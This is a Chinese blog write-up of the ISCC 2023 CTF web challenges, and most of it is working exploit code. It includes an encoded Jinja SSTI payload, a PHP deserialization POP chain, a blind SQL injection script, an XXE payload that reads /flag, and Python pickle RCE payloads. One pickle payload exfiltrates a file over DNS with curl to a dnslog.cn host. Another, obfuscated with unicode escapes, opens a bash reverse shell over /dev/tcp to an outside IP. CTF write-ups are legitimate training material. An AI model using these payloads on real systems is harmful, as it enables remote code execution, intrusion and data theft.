2023iscc线上赛web_wp

最新推荐文章于 2024-08-01 15:22:47 发布

笵--

最新推荐文章于 2024-08-01 15:22:47 发布

阅读量1.6k

点赞数

文章标签：前端

本文链接：https://blog.csdn.net/q1415500189/article/details/131442527

版权

web

羊了个羊

纯前端题目，ctrl+s保存前端代码到本地，点击url那里在ctrl+s就行

在vue.global.js搜alert，就能找到falg，两次base64编码

chatGGG

exp

import requests

def gethex(s1):
    s = ""
    for i in s1:
        s += hex(ord(i)).replace("0x","\\x")
    return s

payload2 = '{% print(lipsum|attr("' + gethex("__globals__") + '")|attr("' + gethex("__getitem__") + '")("os")|attr("' +gethex("popen") +'")("' + gethex("cat fll*") + '")|attr("' +gethex("read") + '")() ) %}'
url = """http://47.94.14.162:10006"""
result = requests.post(url,data={"ask":payload2}).text
print(result)

小周的密码锁

bp爆破发现当password1，password2都为5时，会返回源码同时发现传参点有点不对劲，在vscode里我们清晰地看到存在unicode码 paylaod

?password=%01!SCCNOTHARD&username=14987637&sha1=ncxvshadewjpz&%E2%80%AE%E2%81%A6/
/sha2%E2%81%A9%E2%81%A6sha2=DFSNHPICAKYWV

Where_is_your_love

开一个新页面，F12查看源码，可以看到三个php文件

download.php为一个下载文件，是rsa公钥,Enc.php为密文。 LoveStory.php可以查看如下,反序列化脚本

 <?php

class boy {
   public $like;
   public function __destruct() {
       echo "能请你喝杯奶茶吗？<br>";
        @$this->like->make_friends();
   }
   public function __toString() {
       echo "拱火大法好<br>";
       return $this->like->string;
   }
}

class girl {
   private $boyname;
   public function __construct($a)
   {
       
       $this->boyname=$a;
   }
   public function __call($func, $args) {
       echo "我害羞羞<br>";
       
       isset($this->boyname->name);  
   }
}

class helper {
   private $name;   
   private $string;
   public function __construct($a,$string) {
       if ($a===1){
           $this->name = array('string'=>'(new love_story())->love') ;
             var_dump($this->name);
             var_dump($this->name['string']);
       }
       else{
           $this->name=$a;
       }
       
       
       $this->string = $string;
   }
   public function __isset($val) {
       echo "僚机上线<br>";
       echo $this->name;
   }
   public function __get($name) {
       echo "僚机不懈努力<br>";
       
       $var = $this->$name;
       var_dump($var);
       var_dump($var[$name]);
       
       $var[$name]();   #(new love_story())->love()
       


   }
}
class love_story {
   public $fall_in_love = array("girl_and_boy");

   public function __construct()
   {
       echo "construct nihao";
   }

   public  function love() {
       echo "爱情萌芽<br>";
       
       array_walk($this, function($make, $colo){
           echo "坠入爱河，给你爱的密码<br>";
           
           if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
               global $flag;
               echo $flag;
               echo "good";
           }
       });
   }
}

$b1 = new boy();
$b2 = new boy();
$h1 = new helper($b2,"222");
$g = new girl($h1);
$l = new love_story();
$a = array("string"=>[$l,"love"]);
#echo $a["string"];
$h2 = new helper(1,$a);
$b2->like = $h2;
$b1->like = $g;
echo urlencode(serialize($b1)) ;

payload

O%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A4%3A%22girl
%22%3A1%3A%7Bs%3A13%3A%22%00girl%00boyname%22%3BO%3A6%3A%22help
er%22%3A2%3A%7Bs%3A12%3A%22%00helper%00name%22%3BO%3A3%3A%22bo
y%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A6%3A%22helper%22%3A2%3A%
7Bs%3A12%3A%22%00helper%00name%22%3Ba%3A1%3A%7Bs%3A6%3A%22string
%22%3Bs%3A24%3A%22%28new+love_story%28%29%29-
%3Elove%22%3B%7Ds%3A14%3A%22%00helper%00string%22%3Ba%3A1%3A%7Bs%
3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A10%3A%22love_story%22
%3A1%3A%7Bs%3A12%3A%22fall_in_love%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12
%3A%22girl_and_boy%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22love%22%3B%7D%7
D%7D%7Ds%3A14%3A%22%00helper%00string%22%3Bs%3A3%3A%22222%22%3B%
7D%7D%7D

解析公钥，得到的n用yafu分解，然后解密letter.php可以得到flag的加密方式，然后解密就可以 flag加密方式

<?php
function enc($data){
    $str="";
    $a=strrev(str_rot13($data));
    for($i=0;$i<strlen($a);$i++){
        $b=ord($a[$i])+10;
        $c=$b^100;
        $e=sprintf("%02x",$c);
        $str.=$e;
    } 
    return $str;
}
?>

exp：

import gmpy2
from Crypto.Util.number import *
from Crypto.PublicKey import RSA

with open("keyiscc.pem", "rb") as f:
    key = RSA.import_key(f.read())
    print("n = %d" % key.n)
    print("e = %d" % key.e)
n = 21632595061498942456591176284485458726074437255982049051386399661866343401307576418742779935973203520468696897782308820580710694887656859447653301575912839865540207043886422473424543631000613842175006881377927881354616669050512971265340129939652367389539089568185762381769176974757484155591541925924309034566325122477217195694622210444478497422147703839359963069352123250114163369656862332886519324535078617986837018261033100555378934126290111146362437878180948892817526628614714852292454750429061910217210651682864700027396878086089765753730027466491890569705897416499997534143482201450410155650707746775053846974603
e = 65537
p = 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967
q = 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709
with open('letter.php', 'rb') as f:
    c = f.read()
# print(c)
c = bytes_to_long(c)
# print(c)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(int(m)))
flag = 'e32824180f3ee4295f1b5f5a1d1019115a3d1a003924122fe7335b34253f59263ae13e3e3404'
# print(len(flag))
flag_ = ''
for i in range(0, len(flag), 2):
    str = flag[i:i + 2]
    # print(str)
    str = int(str, 16) ^ 100
    flag_ = flag_ + chr(str - 10)
# print(flag_[::-1])
flag = flag_[::-1]
print(flag)

得到的结果rot13解密

老狼老狼几点了

进去发现是个输入框，然后尝试输入，然后访问12点；

得到源码，如上图；

分析一波，发现漏洞点在include函数，文件包含漏洞，用filter伪协议读取文件；然后往上分析，function要为hack，file要为flag.php(后台扫描) 然后将序列化后的值进行过滤base64然后反序列化从头捋一下思路：post传参param1和param2两个参数，要绕过md5强绕过

这里使用fastcoll_v1.0.0.5工具进行碰撞绕过第一个if；用txt文件(文件内容为时间，要比题目的要大，否则过不去)直接拖入到fastcoll_v1.0.0.5工具中，然后得到两个碰撞文件

本地测试代码：

<?php

if($_SESSION) unset($_SESSION);
$p1 = file_get_contents("./1_msg1.txt");
var_dump(urlencode($p1));
// echo urlencode($p1);
echo"</br></br></br></br>";

$p2 = file_get_contents("./1_msg2.txt");
var_dump(urlencode($p2));
// echo urlencode($p1);

echo"</br></br></br></br>";
if ($p1 !== $p2 && md5($p1) === md5($p2)){ 
echo"success!!";
}

本地测试成功

然后因为要传值为hack和flag.php，正好函数过滤base64，可以用这一点来进行反序列化逃逸；经过计算可得要传参的数为： &SESSION[a]=base64base64base64 &SESSION[bbb]=;s:4:"file";s:62:"php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php";s:8:"function";s:4:"hack";s:9:"function1";s:4:"hack";} Payload抓取数据包等到了我写的时间，那一秒钟去访问，就能执行shell拿到flag 得到flag： ISCC{mY0i9LI4Tb9p40uMco62fhGBnZKjF27N}

ISCC疯狂购物节-1

import requests
import string
from time import sleep

# proxies=pro,
pro = {'http': 'http://127.0.0.1:8011', 'https': 'http://127.0.0.1:8011'}

# 绕过 are you kidding me
cookies = {
    'csrftoken': "1w4agLdUpsSukypnr6eI6kcR5os3KMQKvbFfTpbp5yQUZyl8zFZopiGYuFqzl63a",
    'sessionid': "dv0zje8mpsutbcnmqquamdwlsp273x2n",
}

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6',
    'Cache-Control': 'max-age=0',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
}


def str_to_hex(string):
    result = ''
    for i in string:
        result += hex(ord(i))[2:]
    return result


# 找到 flag 所在字段
def find_flag_col():
    url = "http://47.94.14.162:10001/Details/search?id=4875610)||{} like binary 0x5f25 %23"
    with open(r'flag.txt', 'r') as f:
        for flag in f:
            payload = url.format(flag.replace("\n", ''))
            print(payload)
            r = requests.get(url=payload, cookies=cookies, headers=headers)
            sleep(1)
            if r.status_code != 500:
                print("Found: [+]:{}".format(flag))

    # 正则过滤了，只能 0x+四个字符
    url = "http://47.94.14.162:10001/Details/search?id=4875610)||fl4g like binary 0x25{}{}25 %23"
    alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\]^`{|}~"
    result = '{'

    for i in range(1, 100):
        for ch in alphabet:
            payload = url.format(str_to_hex(result[-1]), str_to_hex(ch))
            # payload = url.format(str_to_hex(ch))
            print(payload)
            r = requests.get(url=payload, cookies=cookies, headers=headers)
            sleep(1)

            if "too fast" in r.text:
                print("too fast")
                sleep(2)
                r = requests.get(url=payload, cookies=cookies, headers=headers)

            if "576O576K576K" in r.text:
                print(payload)
                result += ch
                print("注入成功: [+]", result)
                break  # 这一位已经跑出来了，可以 break 掉然后下一轮循环跑下一位数据了


        if ch == alphabet[-1]:
            print("注入完成")
            exit(0)

if __name__ == '__main__':
    find_flag_col()

上大号说话

首先是git源码泄露，得到源码如下：

class ED:
    def __init__(self):
        self.file_key = ...  # 1Aa
        self.cipher_suite = Fernet(self.generate_key(self.file_key))

    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)

    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)


def check_cookies(cookie):
    ed = ED()
    f, result = ed.decrypto(cookie)
    black_list = ...
    if not result[0:2] == b'\x80\x03':
        return False
    ...
    try:
        result = pickle.loads(result)
        if result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu:
            return flag
        else:
            return result.name
    except:
        return False


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        name = request.form['input_field']
        name = Member(name)
        name_pick = pickle.dumps(name, protocol=3)
        name_pick = pickletools.optimize(name_pick)
        ed = ED()
        response = make_response(redirect('/'))
        response.set_cookie('name', ed.crypto(name_pick).decode())
        return response

    temp_cookies = request.cookies.get('name')

    if not temp_cookies:
        ...
    else:
        f = check_cookies(temp_cookies)
        ...


if __name__ == '__main__':
    app.run()

显然是pickle反序列化，这里先爆破file_key，根据解密是否成功这一布尔条件进行爆破，脚本如下：

import base64
from cryptography.fernet import Fernet
import string

strs = string.digits+string.ascii_letters



class ED:
    def __init__(self,key):
        self.file_key = key
        self.cipher_suite = Fernet(self.generate_key(self.file_key))

    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)

    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)

    def decrypto(self,base_str):
        return self.cipher_suite.decrypt(base_str.encode())



name="gAAAAABkUKWMuAi51cpZj8kXYTEI1JYp0Eqjuwjel4Q2udPR6WZ_UmIbmst2owMZssuKmlFbEE7GyJP2ALpbE8soUnZjDacJgg8-fks0BQi964Hts8s1TqD8THgAgxWX_u-5dbx-EtOy03067C-Kx-B1ZitYVCvA_hiSliXLfUGEh0Wm23RYtfs="

for a in strs:
    for b in strs:
        for c in strs:
            for d in strs:
                key = a+b+c+d
                ed = ED(key)
                try:
                    ed.decrypto(name)
                except:
                    continue
                else:
                    print(key)

得到key为5MbG 下面是绕过如下判断：

result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu

使用变量覆盖将mabaoguo中的变量覆盖掉，然后再实例化一个Member类。

import base64
from cryptography.fernet import Fernet

class ED:
    def __init__(self):
        self.file_key = "5MbG"
        self.cipher_suite = Fernet(self.generate_key(self.file_key))

    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)

    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)

    def decrypto(self,base_str):
        return self.cipher_suite.decrypt(base_str.encode())
        
payload=b'''\x80\x03c__main__\nMember\nq\x00)\x81q\x01}q\x02(X\x06\x00\x00\x00randomq\x03X\x04\x00\x00\x00Hackq\x04X\x06\x00\x00\x00gongfuq\x05h\x04X\x04\x00\x00\x00nameq\x06X\x08\x00\x00\x00mabaoguoq\x07ubc__main__
mabaoguo
.'''
ed = ED()
x=ed.crypto(payload).decode()
print(x)

得到信息flag in flagucjbgaxqef.txt 最后dns外带命令执行得到flag，用{}包裹提交即可。

import base64
from cryptography.fernet import Fernet


class ED:
    def __init__(self):
        self.file_key = "5MbG"
        self.cipher_suite = Fernet(self.generate_key(self.file_key))

    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)

    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)

    def decrypto(self, base_str):
        return self.cipher_suite.decrypt(base_str.encode())


# payload = b'''\x80\x03c__main__\nMember\nq\x00)\x81q\x01}q\x02(X\x06\x00\x00\x00randomq\x03X\x04\x00\x00\x00Hackq\x04X\x06\x00\x00\x00gongfuq\x05h\x04X\x04\x00\x00\x00nameq\x06X\x08\x00\x00\x00mabaoguoq\x07ubc__main__
# mabaoguo
# .'''
# ed = ED()
# x = ed.crypto(payload).decode()
# print(x)
#flagucjbgaxqef.txt
payload5=b'''\x80\x03(cos
system
Vcurl `cat flagucjbgaxqef.txt`.wz7gvw.dnslog.cn
o.'''
ed = ED()
x = ed.crypto(payload5).decode()
print(x)

ISCC内部零元购-2

脚本exp：

import base64
import requests


#eval commands subprocess exec global popen system os

# timeit.timeit("__import__('os').system('curl `ls`.wd7vst.dnslog.cn')")
#__import__('os').system('bash -c "bash -i >& /dev/tcp/47.108.180.208/8888 0<&1 2>&1"')
opcode1=b'''(V\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0073\u0079\u0073\u0074\u0065\u006d\u0028\u0027\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0033\u002e\u0031\u0034\u0033\u002e\u0032\u0034\u0033\u002e\u0032\u0033\u0036\u002f\u0033\u0033\u0039\u0030\u0020\u0030\u003c\u0026\u0031\u0020\u0032\u003e\u0026\u0031\u0022\u0027\u0029
itimeit
timeit
R.'''

payload=base64.b64encode(opcode1).decode()

url = "http://47.94.14.162:10009"

header = {"Cookie":"session="+payload+"; Auth=eyJ0eXAiOiJqd3QiLCJhbGciOiJSUzI1NiIsIkFjY2Vzc19JUCI6IjE3MS4xMC45Ny4zOSJ9.eyJuYW1lIjoiR3Vlc3QiLCJleHAiOjE2ODM5NjAzNjd9.B-IrQrrnk35o72XTtX68CXwxtO13Zg14SpPXM97F4SvCZKhQigwE_R6Xc7kDVJLQITvnoDvN9NdGuLCp-IB6Pv1XDcCfUKHNKy5Jg6Om4-RFmqFWZudltpYzrUXwJ_sHFmBcFACnkI3GUimwr9Y4jrswHQEjtAxT04nHGM_LPvc"}

r = requests.get(url,headers=header)
print(r.text)

ISCCISCC单身节抽奖

随便注册一个账号进去。

来到home.php 在抽奖界面发现可能存在任意文件下载尝试在在抽一次实现目录穿越出现提示文件，是我们需要读取的文件在页面源代码中发现了一个base64编码的字符串解密：O:3:"Log":3:{s:6:"passwd";s:3:"123";s:8:"username";s:6:"blasterr";s:4:"sdog";i:0;} 构造密码为 ccccccc123456";s:8:"username";s:64:" cccccccc";s:4:"sdog";i:1;} 用户名任意,进行反序列化截断。得到 loadzk1myHJ0vaEoT5U0j6xDOVLBw693g83S.php 之后下载上面的demo文件 http://47.94.14.162:10015/loadzk1myHJ0vaEoT5U0j6xDOVLBw693g83S.php?file=../../../apidemo.php&&check_time=0.5e6 是一个xxe漏洞访问该php文件，并按格式提交payload：


<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE name [  
<!ENTITY goodies SYSTEM "file:///flag"> ]> 
 <user>
     <name>&goodies;</name>
     <isdog>sin66
</isdog>
     <award>66</award>
</user>

得到flag：